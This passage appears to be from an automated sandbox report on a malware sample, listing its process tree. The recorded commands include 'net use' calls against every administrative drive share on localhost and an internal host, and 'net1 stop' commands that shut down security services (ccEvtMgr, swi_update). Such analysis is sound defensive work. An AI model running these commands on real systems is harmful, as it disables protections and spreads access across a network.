C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\U$2⤵PID:2456
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\V$2⤵PID:2588
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\W$2⤵PID:2728
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\X$2⤵PID:2864
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\Y$2⤵PID:2676
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\Z$2⤵PID:2876
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\Users2⤵PID:2944
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\A$2⤵PID:2932
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\B$2⤵PID:2400
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\C$2⤵PID:2612
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\D$2⤵PID:2760
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\E$2⤵PID:2804
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\F$2⤵PID:2152
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\G$2⤵PID:2220
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\H$2⤵PID:1596
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\I$2⤵PID:332
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\J$2⤵PID:2900
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\K$2⤵PID:2392
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\L$2⤵PID:2928
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\M$2⤵PID:748
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\N$2⤵PID:672
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\O$2⤵PID:2584
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\P$2⤵PID:2240
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\Q$2⤵PID:2192
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\R$2⤵PID:1692
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\S$2⤵PID:1004
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\T$2⤵PID:2500
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\U$2⤵PID:2356
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\V$2⤵PID:1360
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\W$2⤵PID:344
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\X$2⤵PID:1000
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\Y$2⤵PID:2348
-
-
C:\Windows\system32\net.exe"net.exe" use \\10.7.0.16\Z$2⤵PID:2416
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-639150731-589379567-2128463816-342249598-14672515431127517236-13704405352023843728"1⤵PID:1292
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "6175738597381085239747463621548855495935203920-14767322961031153949-847691939"1⤵PID:1164
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y1⤵PID:784
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-830008470-985738800892071168-269635551-1712997815-157213396613276902261189751912"1⤵PID:1880
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "21410860781594517843114511624194045110718182896921542065165-12674693382111191656"1⤵PID:964
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "767007068350290315-155901542-1333596893-1522903279-818521501-1843212835-1619657096"1⤵PID:1580
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "88046203-737419656-482055452-1774462026-13733031310705456541141681768173144613"1⤵PID:1388
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "327168764-18227834022014177636331415966-823886096724284393-365183748-1244128686"1⤵PID:1164
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "662564253766800818-1664396767-420612307-442687537052952935639574911981626840"1⤵PID:2012
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swi_update /y1⤵PID:2944
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2135932066645401164-1382919783-114590692302155735-1423104751198180103-30365097"1⤵PID:1888
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-278218002-1035012873446328268-621396437-1884821504-142601250870211157-198830065"1⤵PID:2228
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-10018376241589706512979371590-199032229065232260118339551023479324501762562111"1⤵PID:2348
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "21003460421271716129179476980025719515417906510991750902428-554926999-352047972"1⤵PID:2564
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-628652783940790872216854936-2131631375-11273962941166209149578655211339269153"1⤵PID:2016
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1188065314-2156779871429619151-254208794-1454331465-209146260-1739549623352196735"1⤵PID:2056
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1901815860-19398889861127360645-134121017219709793381310405867-1199940442655602912"1⤵PID:1360
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1512948183-20640538891295662262-77424406316164255985077814792447147711402650544"1⤵PID:1008
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1452015724186427427-178716110-1295012575-563774113-14529233511261806992816631024"1⤵PID:2364
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "118127520623071582490229747-4142009226559714386267354955850358001925008742"1⤵PID:1648
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-11526317021978541364-614973583622810909-774884592-914092751880649908-112276299"1⤵PID:1484
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-19407718231564635262-1344109188-498771227202159061696847977-1301154051-1409623343"1⤵PID:1032
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-504555660-1401446855-2047504511-6674846821752676363-1967662943-8598123041875094672"1⤵PID:1820
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1852714219-671639486-1489506205-13799572968052037323898563511614829406111177925"1⤵PID:1644
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "102776906110440797779869867169969991811314345761572247959-774207547-1426517906"1⤵PID:2252
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-15494515261614234060-1794804589235783470596655732-770075829-9651221861534849724"1⤵PID:2196
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1452790721432409642874182058-45810175120607892681523513994-6636159881333146325"1⤵PID:2416
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "94061905619246402315722972601991570486-1543581835-119775660494667924-1934779622"1⤵PID:2444
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "13512657487782158358660280151158773637-1388098745-1670884140-1265682523-931015185"1⤵PID:2480
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "303483634-1478118433-626557190-1262787673-210352220420800895501679570177-1810964398"1⤵PID:2708
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-591791187-4285910631271184997-1787448976-1411713385-14824589511254502161-1124887870"1⤵PID:2928
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1293291794460584402924097872142907222440011507-67568439-492399002617789004"1⤵PID:2284
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e